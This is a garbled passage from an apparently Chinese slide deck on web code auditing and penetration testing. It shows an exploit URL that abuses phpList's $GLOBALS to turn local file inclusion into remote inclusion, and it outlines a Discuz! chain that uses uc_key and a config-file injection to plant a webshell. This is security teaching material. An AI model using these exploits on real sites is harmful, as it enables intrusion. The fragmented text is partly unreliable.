web代碼審計(jì)與滲透測(cè)試(1)(編輯修改稿)
2025-05-26 05:02 本頁(yè)面
【文章內(nèi)容簡(jiǎn)介】 own_function(my_shutdown)。 require_once $GLOBALS[coderoot] . 。 單獨(dú)看上面的代碼是沒有辦法提交 $GLOBALS變量的！但是我們結(jié)合 //phplist\public_html\lists\admin\，我們就可以提交$GLOBALS變量了，那么我們就可以控制 $GLOBALS[“coderoot”] 實(shí)現(xiàn)遠(yuǎn)程包含 Exp: /admin/?_SERVER[ConfigFile]=./monlib/pages/amp。GLOBALS[assign_invalid_default]=1amp。GLOBALS[coderoot]= 實(shí)現(xiàn)了一次完美的又本地包含轉(zhuǎn)為遠(yuǎn)程包含的 二次漏洞利用過程 ? 又一個(gè)實(shí)例 : Discuz![old ver]遠(yuǎn)程代碼執(zhí)行漏洞 效果圖： 【 實(shí)現(xiàn)“給我一個(gè)注射點(diǎn)，我給你一個(gè) shell”的目標(biāo) 】 注射得到 uc_key中 …. 利用 uckey得到 webshell[代碼執(zhí)行 ] 得到 webshell的關(guān)鍵在于 dz論壇的 api借口里： api/ updateapps()對(duì)配置文件 繼續(xù)跟下 updateapps()的調(diào)用： $get[]的處理： 整過只要得到了 uc_key就可以通過調(diào)用 updateapps()對(duì) ！ 另外 updateapps()的 2個(gè)參數(shù)都沒有魔術(shù)引號(hào)的處理： $get = _stripslashes($get)。 $post = xml_unserialize(file_get_contents(? ] 通過 $configfile = preg_replace(“/define\(?UC_API?,\s*?.*??\)。/i”, “define(?UC_API?, ?$UC_API?)?！? $configfile)。 閉合 define(?UC_API?, 來(lái)注射我們的 webshell代碼 二次漏洞的啟示 ?漏洞的類型是可以轉(zhuǎn)換的 :最終的目的是攻擊效果最大化！ ?一切進(jìn)入函數(shù)的變量是有害的：變量在傳遞過程任意個(gè)環(huán)節(jié)可控就可能導(dǎo)致漏洞！ ?變量傳遞的途徑是多樣的：我們的攻擊思路多元化！ 如對(duì)于 dz，去尋找可以找到 uc_key的途徑： sql注射、文件讀取 [ uc_key]、控制 mysql的管理權(quán)限 [phpmyadmin]等等 二次漏洞的其他應(yīng)用 ?應(yīng)用級(jí)別的“ rootkit” 其他的因素與代碼審計(jì) ?php版本與代碼審計(jì) [變量與函數(shù) ] php本身函數(shù)的漏洞 [php缺少自動(dòng)升級(jí)的機(jī)制 ] ?系統(tǒng)特性與 代碼審計(jì) 包括 OS： [主要是文件操作 ]
高考資料相關(guān)推薦
鄂ICP備17016276號(hào)-1